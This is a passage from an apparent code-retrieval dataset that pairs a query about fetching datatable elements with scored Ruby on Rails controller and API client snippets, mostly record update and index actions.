"text": "def update\n @item.update(item_params)\n end",
"title": ""
},
{
"docid": "6b38ca98f32013260ccf4920d24c1018",
"score": "0.60753065",
"text": "def update\n @items_ordered = ItemsOrdered.find(params[:id])\n\n respond_to do |format|\n if @items_ordered.update_attributes(params[:items_ordered])\n format.html { redirect_to(@items_ordered, :notice => 'Items ordered was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @items_ordered.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7d5a3744597249b4d8668016a3796cb7",
"score": "0.60312986",
"text": "def update(params = {})\n req = WebPay::ShopRequestUpdate.create(params)\n raw_response = @client._request(:post, 'shops' + '/' + req.id.to_s, req)\n WebPay::ShopResponse.new(raw_response)\n end",
"title": ""
},
{
"docid": "27096800d14893529f640b6cf4566aba",
"score": "0.6015426",
"text": "def update\n connection.put(\"/todo_lists/#{id}.xml\",\n \"<todo-list>\n <name>#{name}</name>\n <description>#{description}</description>\n <milestone_id>#{milestone_id}</milestone_id>\n </todo-list>\",\n XML_REQUEST_HEADERS)\n end",
"title": ""
},
{
"docid": "b87029b504b3bd37c4ef634e69bbf237",
"score": "0.60089874",
"text": "def update\n @item = @current_user.items.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = 'Item was successfully updated.'\n format.html { redirect_to(@item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ca5f8daa7a2b54fd441551c1ce232f7f",
"score": "0.59947765",
"text": "def update_item(companyId, id, model) path = \"/api/v2/companies/#{companyId}/items/#{id}\"\n put(path, model, {}, AvaTax::VERSION) end",
"title": ""
},
{
"docid": "a88beda9c044ab6dfc183a492f038d60",
"score": "0.59944844",
"text": "def update\n @items_product = ItemsProduct.find(params[:id])\n\n respond_to do |format|\n if @items_product.update_attributes(params[:items_product])\n format.html { redirect_to(@items_product, :notice => 'Items product was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @items_product.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "38979984bdedacd95706689e25f09f9e",
"score": "0.5993285",
"text": "def put(document, method='')\n @resource[method].put(document.to_s, :content_type => 'text/xml')\n end",
"title": ""
},
{
"docid": "df087d1b1a4ef4ee7121e86cdb352100",
"score": "0.5990734",
"text": "def update\r\n @item = Item.find(params[:id])\r\n\r\n\r\n respond_to do |format|\r\n if @item.update_attributes(params[:item])\r\n if @item.saleStatus == \"3\"\r\n trans = Array.new\r\n trans = Transaction.find_all_by_item_id(@item.id)\r\n for temp in trans\r\n temp.transaction_status = \"Completed\"\r\n temp.save!\r\n end\r\n\r\n end\r\n flash[:notice] = 'Item was successfully updated.'\r\n format.html { redirect_to(@item) }\r\n format.xml { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "0291471b1b53a915a6a02bb2c3f4bda1",
"score": "0.59754145",
"text": "def update_item(list, item, quantity)\n add_item(list, item, quantity)\nend",
"title": ""
},
{
"docid": "0291471b1b53a915a6a02bb2c3f4bda1",
"score": "0.59754145",
"text": "def update_item(list, item, quantity)\n add_item(list, item, quantity)\nend",
"title": ""
},
{
"docid": "0291471b1b53a915a6a02bb2c3f4bda1",
"score": "0.59754145",
"text": "def update_item(list, item, quantity)\n add_item(list, item, quantity)\nend",
"title": ""
},
{
"docid": "5a7ce2fb3ade02d7302f8ea5ac9950d7",
"score": "0.5971058",
"text": "def update\n if @shop_item.update(shop_item_params)\n render plain: \"successful\"\n else\n render plain: \"unsuccessful\"\n end\n end",
"title": ""
},
{
"docid": "0dbc7f7663317ffbbb2f08465b1c0116",
"score": "0.5969248",
"text": "def update\n @shop_order_item = ShopOrderItem.find(params[:id])\n\n respond_to do |format|\n if @shop_order_item.update_attributes(params[:shop_order_item])\n format.html { redirect_to @shop_order_item, notice: 'Shop order item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shop_order_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a773567ba5d3f88194185d0ecd25f50f",
"score": "0.59552574",
"text": "def update\n @shopping = Shopping.find(params[:id])\n\n respond_to do |format|\n if @shopping.update_attributes(params[:shopping])\n format.html { redirect_to shoppings_url, notice: 'Shopping was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shopping.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b0915df4ff74e4c38f03ce17986a8140",
"score": "0.59529954",
"text": "def update_rest\n @entry_item = EntryItem.find(params[:id])\n\n respond_to do |format|\n if @entry_item.update_attributes(params[:entry_item])\n flash[:notice] = 'EntryItem was successfully updated.'\n #format.html { redirect_to(@entry_item) }\n format.xml { head :ok }\n else\n #format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "291d8f37b4be95c365e668ba8bdc5e4a",
"score": "0.59519404",
"text": "def update\n respond_to do |format|\n @item_document.item = @item\n if @item_document.update(item_document_params)\n format.html { redirect_to @item_document, notice: 'Item document was successfully updated.' }\n format.json { render :show, status: :ok, location: @item_document }\n else\n format.html { render :edit }\n format.json { render json: @item_document.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "989c8b397747ff209609bd5d18e6f248",
"score": "0.59497607",
"text": "def update\n @item = @project.items.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = 'Item was successfully updated.'\n format.html { redirect_to([@project, @item]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ae968ee7983f73d1d8afdfb3a7b1d7c",
"score": "0.59479094",
"text": "def update\n @item = Item.find(params[:id])\n @shop = Shop.new\n\n unless @item.user_id == current_user.id\n return redirect_to root_path\n end\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: '投稿を編集しました。' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9ad94290ceca4e9109d761efeb1393be",
"score": "0.594702",
"text": "def update\n @request_item = RequestItem.find(params[:id])\n\n respond_to do |format|\n if @request_item.update_attributes(params[:request_item])\n format.html { redirect_to(@request_item, :notice => 'Request item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @request_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "30bf1cbb68476e46e1548e890e1130b4",
"score": "0.5933957",
"text": "def update(list, item, new_qty)\n add_item(list, item, new_qty)\nend",
"title": ""
},
{
"docid": "8119588989b246aac71d2cb849597e53",
"score": "0.5931672",
"text": "def update\n respond_to do |format|\n if @shopping_list_item.update(shopping_list_item_params)\n format.html { redirect_to @shopping_list_item, notice: 'Shopping list item was successfully updated.' }\n format.json { render :show, status: :ok, location: @shopping_list_item }\n else\n format.html { render :edit }\n format.json { render json: @shopping_list_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "476346b6e0a002672b1b5bfa723c3493",
"score": "0.593093",
"text": "def update\n @transaction_goods_item = Transaction::Goods::Item.find(params[:id])\n\n respond_to do |format|\n if @transaction_goods_item.update_attributes(params[:transaction_goods_item])\n format.html { redirect_to(@transaction_goods_item, :notice => 'Item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @transaction_goods_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fb731f3ab6e026648327b7db2c60c737",
"score": "0.5923911",
"text": "def update\n @sale = Sale.find_by_id(@item.sale_id)\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @sale, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ad54471b285e5e357d9be959c8ade2d8",
"score": "0.5907336",
"text": "def update\n path = \"/workflow/#{repo}/objects/druid:#{druid}/workflows/#{workflow}/#{step}\"\n conn = Faraday.new(url: config['host'])\n conn.basic_auth(config['user'], config['password'])\n conn.headers['content-type'] = 'application/xml'\n\n conn.put path, payload\n end",
"title": ""
},
{
"docid": "cba5e45676d5f8954bdb2446b72fa45e",
"score": "0.59054565",
"text": "def update\n @order_item = OrderItem.find(params[:id])\n\n respond_to do |format|\n if @order_item.update_attributes(params[:order_item])\n format.html { redirect_to(@order_item, :notice => 'Order item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @order_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "788ffedfb0ccb0d3afe6cb180687912f",
"score": "0.59053916",
"text": "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n\n flash[:success] = \"Item updated\"\n format.html { redirect_to edit_entry_path :id => @item.entry, :item_anchor => @item }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ba64c8372286fc638744ef50ed49c738",
"score": "0.59003294",
"text": "def update\n @scrap_order_item = @scrap_order.items.find(params[:id])\n\n respond_to do |format|\n if @scrap_order_item.update_attributes(params[:scrap_order_item])\n format.html { redirect_to @scrap_order_item, notice: 'Scrap order item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @scrap_order_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "34c01aaa90707b7ff68ad30282e12f54",
"score": "0.58937",
"text": "def update\n @tipo_item = TipoItem.find(params[:id])\n\n respond_to do |format|\n if @tipo_item.update_attributes(params[:tipo_item])\n format.html { redirect_to(@tipo_item, :notice => 'Tipo item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tipo_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4188eb38429113d50e4eccae966e25bc",
"score": "0.5888761",
"text": "def update\n respond_to do |format|\n if @item.update(item_params)\n format.json { head :no_content, status: 204 }\n else\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f2affb1544599fce364ea40a2275e0d3",
"score": "0.58831143",
"text": "def update\n @store_product_item = StoreProductItem.find(params[:id])\n\n respond_to do |format|\n if @store_product_item.update_attributes(params[:store_product_item])\n flash[:notice] = 'StoreProductItem was successfully updated.'\n format.html { redirect_to(@store_product_item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @store_product_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "222dc66c93644ecca747371f9a73eeea",
"score": "0.5874969",
"text": "def update\n @item = @package.items.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @package, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d370f10bba020652fe1bd815b11dac4b",
"score": "0.5873203",
"text": "def update\n @food_item = @food.food_items.find(params[:id])\n\n respond_to do |format|\n if @food_item.update_attributes(params[:food_item])\n flash[:notice] = 'FoodItem was successfully updated.'\n format.html { redirect_to(@food) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @food_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "af06276a386cf18a13afb9c13cf67c3a",
"score": "0.5869943",
"text": "def update\n @depot_item = DepotItem.find(params[:id])\n\n respond_to do |format|\n if @depot_item.update_attributes(params[:depot_item])\n format.html { redirect_to @depot_item, notice: 'Depot item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @depot_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "744860ae04b387d2634777796dd905db",
"score": "0.5866276",
"text": "def update\n if @api_item.update(api_item_params)\n @api_items = Item.order(:name)\n render :index\n else\n render json: @api_item.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "e61502b87d70610951697656690e6f99",
"score": "0.58554935",
"text": "def update\n @shopping = Shopping.find(params[:id])\n\n respond_to do |format|\n if @shopping.update_attributes(params[:shopping])\n format.html { redirect_to @shopping, notice: 'Shopping was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shopping.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "775df39e76eb4d84ecd6c816562e3069",
"score": "0.5852529",
"text": "def update\n @sale_item = SaleItem.find(params[:id])\n\n respond_to do |format|\n if @sale_item.update_attributes(params[:sale_item])\n format.html { redirect_to @sale_item, notice: 'Sale item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sale_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "775df39e76eb4d84ecd6c816562e3069",
"score": "0.5852529",
"text": "def update\n @sale_item = SaleItem.find(params[:id])\n\n respond_to do |format|\n if @sale_item.update_attributes(params[:sale_item])\n format.html { redirect_to @sale_item, notice: 'Sale item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sale_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0cf937ca0c12ce43da16b4717bf01dc0",
"score": "0.5852023",
"text": "def update\n @item_prop = ItemProp.find(params[:id])\n\n respond_to do |format|\n if @item_prop.update_attributes(params[:item_prop])\n flash[:notice] = 'ItemProp was successfully updated.'\n format.html { redirect_to(@item_prop) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item_prop.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1ae311ab3370b69427ae9af34d7fc28a",
"score": "0.58496636",
"text": "def update\n binding.pry\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @shop, notice: t(\"item.update.notice\") }\n else\n format.html { render action: 'edit' }\n end\n end\n end",
"title": ""
},
{
"docid": "5c764b8f0e6ce374a298632a933d9ce0",
"score": "0.58469445",
"text": "def update\n @order_item = OrderItem.find(params[:id])\n\n respond_to do |format|\n if @order_item.update_attributes(params[:order_item])\n format.html { redirect_to( paper_order_order_items_url, :notice => 'OrderItem was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @order_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "506affa6457134e5d87e45d5ef47ef26",
"score": "0.58464503",
"text": "def update_items_with_http_info(items_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ItemApi.update_items ...'\n end\n # verify the required parameter 'items_request' is set\n if @api_client.config.client_side_validation && items_request.nil?\n fail ArgumentError, \"Missing the required parameter 'items_request' when calling ItemApi.update_items\"\n end\n # resource path\n local_var_path = '/item/items/batch'\n\n # query parameters\n query_params = {}\n query_params[:'_expand'] = opts[:'_expand'] if !opts[:'_expand'].nil?\n query_params[:'_placeholders'] = opts[:'_placeholders'] if !opts[:'_placeholders'].nil?\n query_params[:'_async'] = opts[:'_async'] if !opts[:'_async'].nil?\n\n # header parameters\n header_params = {}\n header_params['X-UltraCart-Api-Version'] = @api_client.select_header_api_version()\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json; charset=UTF-8'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(items_request)\n auth_names = ['ultraCartOauth', 'ultraCartSimpleApiKey']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ItemsResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ItemApi#update_items\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "5380dca035b15d25e489f33dc12734df",
"score": "0.58435744",
"text": "def update\n session[:hely] << \"params[:id]: #{params[:id]} | order_items - update \"\n @order_item = OrderItem.find(params[:id])\n\n respond_to do |format|\n if @order_item.update_attributes(params[:order_item])\n flash[:notice] = 'OrderItem was successfully updated.'\n format.html { redirect_to(@order_item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @order_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "73d162058e33115bc4499e1d655676a2",
"score": "0.5831969",
"text": "def create\n @shopping_item = ShoppingItem.new(params[:shopping_item])\n\n respond_to do |format|\n if @shopping_item.save\n format.html { redirect_to(@shopping_item, :notice => 'Shopping item was successfully created.') }\n format.xml { render :xml => @shopping_item, :status => :created, :location => @shopping_item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @shopping_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dc92a1f16c6eaeffa34aa38be8c74ce6",
"score": "0.5827123",
"text": "def update\n @item = Item.find(params[:id])\n\n flash[:notice] = 'Item was successfully updated.' if @item.update_attributes(params[:item])\n \n respond_with @item\n end",
"title": ""
},
{
"docid": "70b97efbc17127e9823373f5cd7bd019",
"score": "0.58181155",
"text": "def update\n @todo_item = TodoItem.find(params[:id])\n\n respond_to do |format|\n if @todo_item.update_attributes(params[:todo_item])\n flash[:notice] = 'Item was successfully updated.'\n format.html { redirect_to(@todo_item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @todo_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "14b0b8c92f4b231e64da9b07b70dd32f",
"score": "0.5817544",
"text": "def update\n @item = @items.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @menu_section.menu.shop, notice: t(\"menu_sections.update.notice_success\") }\n else\n format.html { render action: \"edit\" }\n end\n end\n end",
"title": ""
},
{
"docid": "d228a413d7faa96743aa7c8454157338",
"score": "0.5814445",
"text": "def update\n @item = Item.find(params[:id])\n @itemnames = Itemname.all\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item actualizado con exito.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1d0921c4befd185772e06c7f622158ce",
"score": "0.5813637",
"text": "def update\n @purchaseitem = Purchaseitem.find(params[:id])\n\n respond_to do |format|\n if @purchaseitem.update_attributes(params[:purchaseitem])\n format.html { redirect_to(@purchaseitem, :notice => 'Purchaseitem was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @purchaseitem.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9cb6d50b2cdc3e35f55e95e04f767981",
"score": "0.5812046",
"text": "def update\n @basket_item = BasketItem.find(params[:id])\n\n respond_to do |format|\n if @basket_item.update_attributes(params[:basket_item])\n format.html { redirect_to @basket_item, notice: 'Basket item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @basket_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e26649d48849219f7c8aceaecda0fedf",
"score": "0.5810789",
"text": "def update\n respond_to do |format|\n if @inventory_item.update_attributes(params[:inventory_item])\n flash[:notice] = 'Inventory item was successfully updated.'\n format.html { redirect_to(@inventory_item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @inventory_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "951872aecf4445e82a73dcc7d5d241ad",
"score": "0.5810072",
"text": "def update\n @item = Item.find(params[:id])\n\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b51921a3338a973e9d0a1da5af32e7dc",
"score": "0.5809421",
"text": "def update\n @task_item = TaskItem.find(params[:id])\n\n respond_to do |format|\n if @task_item.update_attributes(params[:task_item])\n format.html { redirect_to(@task_item, :notice => 'Task item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @task_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a198a0c0bbeaae4c14b45420e1c0d9f8",
"score": "0.5806118",
"text": "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a198a0c0bbeaae4c14b45420e1c0d9f8",
"score": "0.5806118",
"text": "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a198a0c0bbeaae4c14b45420e1c0d9f8",
"score": "0.5806118",
"text": "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a198a0c0bbeaae4c14b45420e1c0d9f8",
"score": "0.5806118",
"text": "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a198a0c0bbeaae4c14b45420e1c0d9f8",
"score": "0.5806118",
"text": "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a198a0c0bbeaae4c14b45420e1c0d9f8",
"score": "0.5806118",
"text": "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
268170efc0d51caaf4e680e6421e21ff | GET /datatable_dataelements/1 GET /datatable_dataelements/1.json | [
{
"docid": "917d03d68e488611db757c437ddfdb88",
"score": "0.7308272",
"text": "def show\n @datatable_dataelement = DatatableDataelement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @datatable_dataelement }\n end\n end",
"title": ""
}
] | [
{
"docid": "e788e42b7089e2c0ff8ba1ec3e72afb4",
"score": "0.66902965",
"text": "def index\n @data_tables = DataTable.all\n\n # respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: @data_tables.as_json(only: [:title, :username, :name, :email, :hometown]) }\n # end\n end",
"title": ""
},
{
"docid": "163030360883639d730a62418c72ce20",
"score": "0.6445567",
"text": "def index\n respond_to do |format|\n format.html\n format.json { render json: DataTable::Nodes.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "f729d64c226bfa4623cf49e7699214fc",
"score": "0.6441717",
"text": "def show_dataset\n @dataset = Dataset.find(params[:dataset_id])\n @data = (ActiveRecord::Base.connection.select_all(\"SELECT * from dataset_#{@dataset.id} ORDER BY id ASC\")).to_json\n render :inline => @data\n end",
"title": ""
},
{
"docid": "e0dd3faa44f8fb67f294cdcefbc96a6d",
"score": "0.63729304",
"text": "def new\n @datatable_dataelement = DatatableDataelement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @datatable_dataelement }\n end\n end",
"title": ""
},
{
"docid": "68198a41ae71cba4d91e300982eceeda",
"score": "0.62559944",
"text": "def index\n @data = Datum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @data }\n end\n end",
"title": ""
},
{
"docid": "21672081feea38e6430ab465986322f8",
"score": "0.6232367",
"text": "def index\n respond_to do |format|\n format.html\n format.json { render json: IntervalsDatatable.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "bb8ccd79fa24e9ccdb86b20e705c47b8",
"score": "0.62245977",
"text": "def get_data\n raise \"This method should be overriden to return the JSON data for a concrete table\"\n end",
"title": ""
},
{
"docid": "1ba569aba8db8b7bc48217e9fea2d85d",
"score": "0.6170594",
"text": "def index\n respond_to do |format|\n format.html\n format.json { render json: InstancesDatatable.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "511602ba2810af8efa6bbc68940de66e",
"score": "0.61557525",
"text": "def index\n respond_to do |format|\n format.html\n format.json { render json: MsdsDatatables.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "bb656ed1e11954b296126691772dea78",
"score": "0.61354434",
"text": "def index\n respond_to do |format|\n format.html\n format.json { render json: SerieDetallesDatatable.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "cb1c108f277ea86e37641993a32caec9",
"score": "0.6121457",
"text": "def index\n respond_to do |format|\n format.json { render json: Api::V1::Datatables::TicketsDatatable.new(self.view_context) }\n end\n end",
"title": ""
},
{
"docid": "dc40a079a63546be8d9ee189e3157324",
"score": "0.6120862",
"text": "def index\r\n datatable = ItemDatatable.new(view_context)\r\n respond_to do |format|\r\n format.html\r\n format.json { render json: datatable}\r\n end\r\n end",
"title": ""
},
{
"docid": "b7c58c54381743b44ca2694d95fcbf80",
"score": "0.6100889",
"text": "def index\n respond_to do |format|\n format.html\n format.json { render json:DisDatasourceDatatable.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "99d91273b7f1fa997e9d977a882b665f",
"score": "0.60941595",
"text": "def index\n @datat_table_data = DatatTableDatum.all\n end",
"title": ""
},
{
"docid": "bffaa036744f7161766c59c9c44d8d92",
"score": "0.6091345",
"text": "def index\n respond_to do |format|\n format.html\n format.json { render json: DeliveriesDatatable.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "6e37dd504debe0f40801518d44fa76c9",
"score": "0.60584223",
"text": "def index\n respond_to do |format|\n format.html\n format.json { render json: IndividualDeviceDatatable.new(params) }\n end\n end",
"title": ""
},
{
"docid": "4a12a0f6afbe690ab6740310e3436e1c",
"score": "0.5990912",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: MotivoBajaDatatable.new(view_context, { query: MotivoBaja.all }) }\n end\n end",
"title": ""
},
{
"docid": "f36abb4ead60ac261e828696fa8f7bd3",
"score": "0.5989098",
"text": "def index\n @click_data = ClickData.all\n\n render json: @click_data\n end",
"title": ""
},
{
"docid": "08ef6df5456ee0fcda39ee6d45f37419",
"score": "0.59735817",
"text": "def index\n\n @data = Datum.all\n end",
"title": ""
},
{
"docid": "47812270b7429c5b4d9fd1b1a2e24614",
"score": "0.5943296",
"text": "def index\n @data_collections = DataCollection.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @data_collections }\n end\n end",
"title": ""
},
{
"docid": "ba5c8a6a389a90d282e9974395755f5f",
"score": "0.59368175",
"text": "def index\n respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: @documents }\n # This will die if not asekd by our dataTables, because we're using params[:collection_id]\n format.json { render json: DocumentsMainDatatable.new(view_context, current_user)}\n end\n end",
"title": ""
},
{
"docid": "acb3901fa17b0cdbfc91752fff434665",
"score": "0.59294647",
"text": "def index\n @dataset_data = DatasetDatum.all\n end",
"title": ""
},
{
"docid": "02c0ddb0125c4cbdc22a193683bd5043",
"score": "0.5923733",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: SoldiersDatatable.new(view_context) }\n end\n end",
"title": ""
},
{
"docid": "e3ccfbb9bb49ca069b154ff6a495e9a0",
"score": "0.5894945",
"text": "def index\n set_url_params\n \n p \"***********************\"\n p @sCols\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {render :json => InstitutionsDatatable.new(view_context,eval(@sCols),@sFilter)}\n end\n end",
"title": ""
},
{
"docid": "b8010e0c7a2eace4ff816a727a135c3a",
